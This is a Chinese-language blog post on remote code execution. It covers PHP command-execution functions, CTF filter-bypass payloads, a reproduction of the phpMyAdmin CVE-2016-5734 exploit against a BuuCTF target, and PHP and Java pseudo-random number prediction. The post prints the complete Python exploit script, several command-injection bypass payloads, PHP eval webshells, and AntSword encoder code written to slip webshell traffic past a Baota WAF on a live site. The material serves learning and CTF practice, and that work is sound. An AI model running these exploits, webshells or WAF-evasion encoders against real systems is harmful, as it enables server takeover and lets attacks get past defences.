RCE的小小总结

关于 RCE 那些老生常谈的事

简单介绍

RCE,远程代码执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

原理

一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口。比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。 现在很多的企业都开始实施自动化运维,大量的系统操作会通过“自动化运维平台”进行操作。在这种平台上往往会出现远程系统命令执行的漏洞。

远程代码执行同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。 因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。

简单而言,根本原因是服务器没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。

了解一下常见的命令执行函数

1.system()

system()函数会调用fork()产生子进程,由子进程调用/bin/sh -c command执行特定的命令,暂停当前进程直到command命令执行完毕,当此命令执行完后随即返回原调用的进程。

eg.

int system(const char * cmdstring)
 {
     pid_t pid;
     int status;
     if(cmdstring == NULL){  
          return (1);
     }
     if((pid = fork())<0){
             status = -1;
     }
     else if(pid == 0){
         execl("/bin/sh", "sh", "-c", cmdstring, (char *)0);
         _exit(127); //子进程正常执行则不会执行此语句
        }
     else{
             while(waitpid(pid, &status, 0) < 0){
                 if(errno != EINTER){
                     status = -1;
                     break;
                 }
             }
         }
         return status;
 }

当system()正常执行,将返回命令的退出码;

当返回值为127,相当于执行了exit函数,而自身命令没有执行;

当返回值为-1,代表没有执行system调用。

2.exec()

exec()函数也会执行commad命令,但是与system()的不同主要在于exec()并不会调用fork()产生新进程、暂停原命令来执行新命令,而是直接覆盖原命令,对返回值有影响。

并且exec执行command命令时,不会输出全部结果,而是返回结果的最后一行。

exec()函数原型如下:

string exec (string $command ,array $output ,int $return_var );

若想返回全部结果,需要使用第二个参数,让其输出到一个数组,数组的每一个记录代表了输出的每一行。

eg.

<?php
exec('ls /var/www');
?>

可以看到执行后是没有输出的

修改一下

输出结果

Array

(

[0] => index.php

[1] => list.txt

[2] => rce.php

)

3.shell_exec()

shell_exec()环境在shell下执行命令,所以只适用于Linux和Mac_OS,并且将完整的输出以字符串的方式返回。如果执行过程中发生错误或者进程不产生输出,则返回 NULL。

eg.

<?php
$output = shell_exec('ls');
echo "$output";
?>

输出结果如下:

index.php

list.txt

rce.php

4.passthru()

passthru()函数原型:void passthru (string $command , int $return_var);

passthru直接将结果输出,不返回结果。

Windows系统命令拼接方式

“|”:管道符,前面命令标准输出,后面命令的标准输入。例如:help | more
“&” commandA & commandB 先运行命令A,然后运行命令B
“||” commandA || commandB 运行命令A,如果失败则运行命令B
“&&” commandA && commandB 运行命令A,如果成功则运行命令B

关于绕过的小技巧

许多题目和实战中,RCE往往与上传webshell联系,而且基本会有waf和一定程度的过滤,然后一起写一下。

php字符被过滤

如果php被过滤了,我们可以使用短标签绕过。常见的php标签为<?php ?>;,如果php字符被过滤了,可以用短标签<?= ?>;

可以再举个栗子:system字符被过滤

反引号 ` 可以直接执行命令,需要搭配echo()函数来输出回显。

然后灵活贯通,结合上面两种方式构造一个简洁的命令执行语句。

<?=echo `ls /`?>;

空格被过滤

常见绕过方式有利用URL编码:%20、%09(tab)

还有利用$IFS$9$IFS$1等内部域分隔符,可以看这篇文章[【shell】IFS和$*变量 - 简书 (jianshu.com)]

{}也可以,比如这样{cat,flag}

某些关键字被过滤

为了防止直接cat /flag,很多题目就把一些函数名称过滤掉。但是绕过方法有很多,选一个适合的就好。

常见的编码绕过:base64编码绕过

echo "Y2F0IC9mbGFn"|base64 -d|bash     //cat /flag

引号绕过

ph""p  =>  php
ca""t  =>  cat

偶读拼接绕过

?ip=192.168.0.1;a=l;b=s;$a$b

反斜杠 \ 绕过

ca\t => cat
fl\ag => flag
ph\p => php

通配符绕过(参考P牛的文章,大佬tql)[无字母数字webshell之提高篇 | 离别歌 (leavesongs.com)]还有WHOAMI的老生常谈的无字母数字 Webshell 总结 - FreeBuf网络安全行业门户

shell下可以利用.来执行任意脚本
Linux文件名支持用glob通配符代替
/?url=192.168.0.1|cat%09/fla?
/?url=192.168.0.1|cat%09/fla*

[Phpmyadmin]CVE-2016-5734复现

借用了BuuCTF的靶机^_^

CVE-2016-5734exploit-db上也就是phpMyAdmin 4.6.2 - Authenticated Remote Code Execution**,意即phpMyAdmin认证用户的远程代码执行,根据描述可知受影响的phpMyAdmin所有的 4.6.x 版本(直至 4.6.3),4.4.x 版本(直至 4.4.15.7),和 4.0.x 版本(直至 4.0.10.16)。 CVE的作者利用在php 5.4.7之前的版本中preg_replace函数对空字节的错误处理Bug,使注入的代码可远程执行。

漏洞分析

首先来说说preg_replace函数:
preg_replace.函数执行一个正则表达式的搜索和替换。

再来说说什么是preg_replace \e 的作用:
如果设置了这个被弃用的修饰符, preg_replace() 在进行了对替换字符串的 后向引用替换之后, 将替换后的字符串作为php 代码评估执行(eval 函数方式),并使用执行结果 作为实际参与替换的字符串。单引号、双引号、反斜线()和 NULL 字符在 后向引用替换时会被用反斜线转义。

举个栗子

<?php
    highlight_file(__FILE__);
    $raw = $_GET['raw'];
    $replace = $_GET['replace'];
    $text = $_GET['text'];

    $text = preg_replace('/'.$raw.'/e', $replace, $text);
?>

POC

?raw=a&replace=system("ls")&text=larry

会引起漏洞。

如果栗子变成如下代码:

<?php
    highlight_file(__FILE__);
    $raw = $_GET['raw'];
    $replace = $_GET['replace'];
    $text = $_GET['text'];

    $text = preg_replace('/'.$raw.'/i', $replace, $text);
?>

其实还是可以绕过的,当php版本小于5.4.7时,向pattern中注入空字符产生截断,并传入e修饰符,依照能照成PHP代码执行。

POC

?raw=a/e%00&replace=system(%22ls%22)&text=larry

这样也会引起漏洞。

漏洞利用

#!/usr/bin/env python

"""cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit
Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.
CVE: CVE-2016-5734
Author: https://twitter.com/iamsecurity
run: ./cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
"""

import requests
import argparse
import sys

__author__ = "@iamsecurity"

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument("url", type=str, help="URL with path to PMA")
    parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
    parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
    parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
    parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
    parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
    arguments = parser.parse_args()
    url_to_pma = arguments.url
    uname = arguments.user
    upass = arguments.pwd
    if arguments.dbs:
        db = arguments.dbs
    else:
        db = "test"
    token = False
    custom_table = False
    if arguments.table:
        custom_table = True
        table = arguments.table
    else:
        table = "prgpwn"
    if arguments.cmd:
        payload = arguments.cmd
    else:
        payload = "system('uname -a');"

    size = 32
    s = requests.Session()
    # you can manually add proxy support it's very simple ;)
    # s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}
    s.verify = False
    sql = '''CREATE TABLE `{0}` (
      `first` varchar(10) CHARACTER SET utf8 NOT NULL
    ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
    INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
    '''.format(table)

    # get_token
    resp = s.post(url_to_pma + "/?lang=en", dict(
        pma_username=uname,
        pma_password=upass
    ))
    if resp.status_code is 200:
        token_place = resp.text.find("token=") + 6
        token = resp.text[token_place:token_place + 32]
    if token is False:
        print("Cannot get valid authorization token.")
        sys.exit(1)

    if custom_table is False:
        data = {
            "is_js_confirmed": "0",
            "db": db,
            "token": token,
            "pos": "0",
            "sql_query": sql,
            "sql_delimiter": ";",
            "show_query": "0",
            "fk_checks": "0",
            "SQL": "Go",
            "ajax_request": "true",
            "ajax_page_request": "true",
        }
        resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
        if resp.status_code == 200:
            if "success" in resp.json():
                if resp.json()["success"] is False:
                    first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
                    error = first[:first.find("</code>")]
                    if "already exists" in error:
                        print(error)
                    else:
                        print("ERROR: " + error)
                        sys.exit(1)
    # build exploit
    exploit = {
        "db": db,
        "table": table,
        "token": token,
        "goto": "sql.php",
        "find": "0/e\0",
        "replaceWith": payload,
        "columnIndex": "0",
        "useRegex": "on",
        "submit": "Go",
        "ajax_request": "true"
    }
    resp = s.post(
        url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
    )
    if resp.status_code == 200:
        result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
        if len(result):
            print("result: " + result)
            sys.exit(0)
        print(
            "Exploit failed!\n"
            "Try to manually set exploit parameters like --table, --database and --token.\n"
            "Remember that servers with PHP version greater than 5.4.6"
            " is not exploitable, because of warning about null byte in regexp"
        )
        sys.exit(1)
python3 cve-2016-5734.py -c 'system(env);'-u root -p root -d test http://node3.buuoj.cn:29272

代码执行成功,得到flag。

伪随机数

伪随机数

伪随机数是用确定性的算法计算出来自[0,1]均匀分布的随机数序列。并不真正的随机,但具有类似于随机数的统计特征,如均匀性、独立性等。在计算伪随机数时,若使用的初值(种子)不变,那么伪随机数的数序也不变。常见的有php伪随机数和java伪随机数。

PHP伪随机数

主要由两个函数组成

mt_scrand() //播种 Mersenne Twister 随机数生成器。
mt_rand()   //生成随机数

mt_scrand()通过seed分发种子,有了种子以后,通过mt_rand()生成伪随机数

我们测试入如下代码

<?php  
mt_srand(1);  
echo mt_rand()."###";
echo mt_rand()."###";
echo mt_rand()."###";
?>  
<?php  
mt_srand(1);  
echo mt_rand()."###";
echo mt_rand()."###";
?> 

会得到如下的结果

895547922###2141438069###1546885062###  
895547922###2141438069### 

很明显,当我们发现种子不变时,实际上生成的伪随机数是不变的,这就是伪随机数的漏洞所在。

mt_rand源码简要分析

通过mt_rand源码分析理解为什么mt_rand()只播种一次

/ext/standard/rand.c中可以看到,播完种后,将会将 mt_rand_is_seeded 的值设置为1,因此mt_rand只播种一次

mt_rand1

攻击方法

Java伪随机数

以java为例,强伪随机数RNG实现java.security.SecureRandom类,该类使用临时文件夹中大小,线程休眠时间等的值作为随机数种子;而弱伪随机数实现PRNGjava.util.Random类,默认使用当前时间作为种子,并且采用线性同余法计算下一个随机数。

我们测试如下代码

import java.util.Random;

public class rand{
    public static void main(String[] args){
        Random r1 = new Random(1);
        System.out.println("r1.nextInt(12) = " + r1.nextInt(12));

        Random r2 = new Random(1);
        System.out.println("r2.nextInt(12) = " + r2.nextInt(12));
    }
}

会得到如下结果

r1.nextInt(12) = 9
r2.nextInt(12) = 9

很明显,无论执行多少次,代码的结果不会改变。Random生成的随机数是伪随机数。

java.util.Random的可预测性

调用random.nextInt方法生成三个连续的随机数,要求根据前两个随机数去预测第三个随机数

查看源代码,可以看见直接调用的next方法,传递的参数是32

java_random1> * 追踪next方法,可以看到前一个随机数种子(oldseed)和后一个随机数种子(nextseed)都被定义为long类型,方法返回的值就是下一个种子右移16位后强制转换int的结果

java_random2

while里的compareAndSet方法只是比较当前的种子值是否为oldseed,如果是的话就更新为nextseed,一般情况下都会返回true

下一个种子的更新算法就在do-while循环里面:nextseed = (oldseed * multiplier + addend) & mask,种子的初始值是将当前系统时间带入运算得到的结果

返回开头的类定义可以看到这几个常量属性的值

java_random3

这个种子的更新算法本质上就是一个线性同余生成器

线性同余生成器(LCG)

LCG的公式如下:

LCG

和上面的代码对比可以看出是基本一致的,因为和mask常量做与运算就相当于是舍弃高位,保留2进制的低47位,也就相当于模2的48次方。我们既然都有了常量的值了,就可以去做第三个随机数的预测了。

预测方法

如果把生成第一个随机数的种子定义为seed1,seed2,seed3往后顺延的话,seed1右移16位就是第一个随机数的值,说明第一个随机数丢了16位,导致seed1就有2的16次方种可能。

把2的16次方种可能带入计算下一个seed2,并且右移查看是否和第二个随机数的值相等就能确定是否正确的找到了seed1。

如果前两个数是正数,但第三个数是负数,只需要对得到的补码再求一次补码即可,也就是取反后加1。

过WAF的小思路

过WAF的小思路

前言

最近在学习了一波CMS漏洞,要了授权,看了几个站,有宝塔WAF。。。向WHOAMI大佬取经回来后,绕过了一个WAF。觉得是时候要认真总结一下了:)

前期的过程

网站采用的是ThinkCMF这款CMS,ThinkCMF某些版本是存在缓存Getshell这样的一个漏洞,payload我就不放了,大家要遵守相应的法律法规哦! :)

按照payload,直接打的话,访问白屏还兴奋了一下,结果一执行shell就触发宝塔WAF。。。更别说蚁剑连接了。。。

WAF会对部分函数进行了过滤,所以直接打payload肯定是不行的,因此我们需要对蚁剑的流量特征进行混淆加密

一个正常的shell如下:

<?php @eval($_POST['hack']);?>但是这样的shell特征太明显了,肯定会被拦截的,所以我们要学会骚一点

比如说<?php @eval(base_decode($_POST['test']));?>

让我们将phpinfo();base64加密后POST传参,就可以正常执行phpinfo了

但是。。。

cmd命令执行

但是蚁剑连接shell爆红了。。。

明明写进去了,也能phpinfo,但是蚁剑连接错误,为什么呢???

其实,我们可以先学一下蚁剑流量的相关知识

首先看看蚁剑的base64编码器结构:

'use strict';

/*

 @param  {String} pwd   连接密码
 @param  {Array}  data  编码器处理前的 payload 数组
@return {Array}  data  编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
// ##########    请在下方编写你自己的代码   ###################
// 以下代码为 PHP Base64 样例
// 生成一个随机变量名
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
// 原有的 payload 在 data['_']中
// 取出来之后,转为 base64 编码并放入 randomID key 下
data[randomID] = Buffer.from(data['_']).toString('base64');

// shell 在接收到 payload 后,先处理 pwd 参数下的内容,
data[pwd] = `eval(base64_decode($_POST[${randomID}]));`;
// ##########    请在上方编写你自己的代码   ###################
// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}

解释一下:

pwd:  类型是String, 这个是 shell 的连接密码

data: 类型是 Array, 这个是要发送的 HTTP POST 数据包

Buffer.from(data['_']).toString('base64') 将data['_']中的代码读取并进行base64编码,然后下面的 data[pwd] 以参数的形式传递到服务器,解码后shell代码便会执行。虽然data['_']中的代码进行过base64编码,但是data[pwd] 是作为参数传递的,所以在流量中的 data[pwd] 仍是明文传输。

而且,蚁剑在对data进行编码时会增加一定长度的随机字符,但是cmd命令无论增加多长的字符Y21K这个特征字符也始终会被识别到

那该怎么办呢???

WAF拦了蚁剑发送的其它参数时怎么操作 (qq.com)

从这篇大佬的文章好好学习了一下,其中一种方法大佬是通过遍历data的其他参数,并Hex编码了data的值。

解码器内容:

*/
'use strict';

module.exports = (pwd, data) => {
  let ret = {};
  for (let _ in data) {
    if (_ === '_') { continue };
    ret[_] = Buffer.from(data[_]).toString('hex');
  }
  ret[pwd] = Buffer.from(data['_']).toString('hex');
  return ret;
}

因为蚁剑是默认会对data的值进行一次base64加密,所以我们可以再base64加密一次并增添点data的值:)

比如像这样:

let ret = {};
for (let _ in data)
{
if (_ === '_')
{ continue; }
ret[_] = Buffer.from(data[_]).toString('base64');
ret[_] = 'andynoel1234' + ret[_];
ret[_] += 'andynoel1234';
}

同时,我们所写的shell也不能那么简单的啦,所以也得相应地稍微修改一下:

<?php
foreach($_POST as $k=>$v){$_POST[$k]=base64_decode(str_replace('andynoel1234','',$v));}
@eval($_POST['hack']);
?>

在第一次POST时进行抓包,去掉我们另外加入的data值,比如说上面的andynoel1234

然后对剩下的内容执行两次base64解码,再试一下蚁剑成功连接,就可以执行cmd命令了。